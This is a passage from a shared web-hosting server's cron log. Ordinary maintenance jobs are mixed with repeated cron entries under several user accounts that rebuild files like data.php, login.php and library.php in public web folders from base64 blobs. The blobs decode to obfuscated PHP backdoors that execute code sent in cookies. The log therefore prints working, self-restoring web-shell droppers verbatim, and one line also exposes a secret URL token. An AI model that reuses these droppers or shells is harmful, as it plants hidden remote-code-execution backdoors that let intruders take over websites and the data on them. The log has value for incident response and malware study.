9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:45:01 medusa CROND[30965]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 23:45:01 medusa CROND[31256]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:45:01 medusa CROND[31258]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 23:45:01 medusa CROND[31259]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 23:45:01 medusa CROND[31261]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 23:45:01 medusa CROND[31265]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 23:45:01 medusa CROND[31266]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:45:01 medusa CROND[31264]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 23:45:01 medusa CROND[31267]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:45:01 medusa CROND[31263]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 23:45:01 medusa CROND[31268]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:45:01 medusa CROND[31270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:45:01 medusa CROND[31274]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:45:01 medusa CROND[31278]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:45:01 medusa CROND[31277]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:45:01 medusa CROND[31288]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 23:45:01 medusa CROND[31290]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 23:45:01 medusa CROND[31292]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:45:01 medusa CROND[31299]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 23:45:01 medusa CROND[31296]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 23:45:01 medusa CROND[31307]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:45:01 medusa CROND[31295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:45:01 medusa CROND[31298]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 23:46:01 medusa CROND[3040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:46:01 medusa CROND[3110]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:46:01 medusa CROND[3288]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 23:46:01 medusa CROND[3294]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:46:01 medusa CROND[3296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:46:01 medusa CROND[3297]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:46:01 medusa CROND[3298]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:46:01 medusa CROND[3299]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 23:46:01 medusa CROND[3305]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:46:01 medusa CROND[3306]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:46:01 medusa CROND[3307]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 23:46:01 medusa CROND[3308]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:46:01 medusa CROND[3311]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:46:01 medusa CROND[3317]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:46:01 medusa CROND[3314]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:47:02 medusa CROND[8846]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2V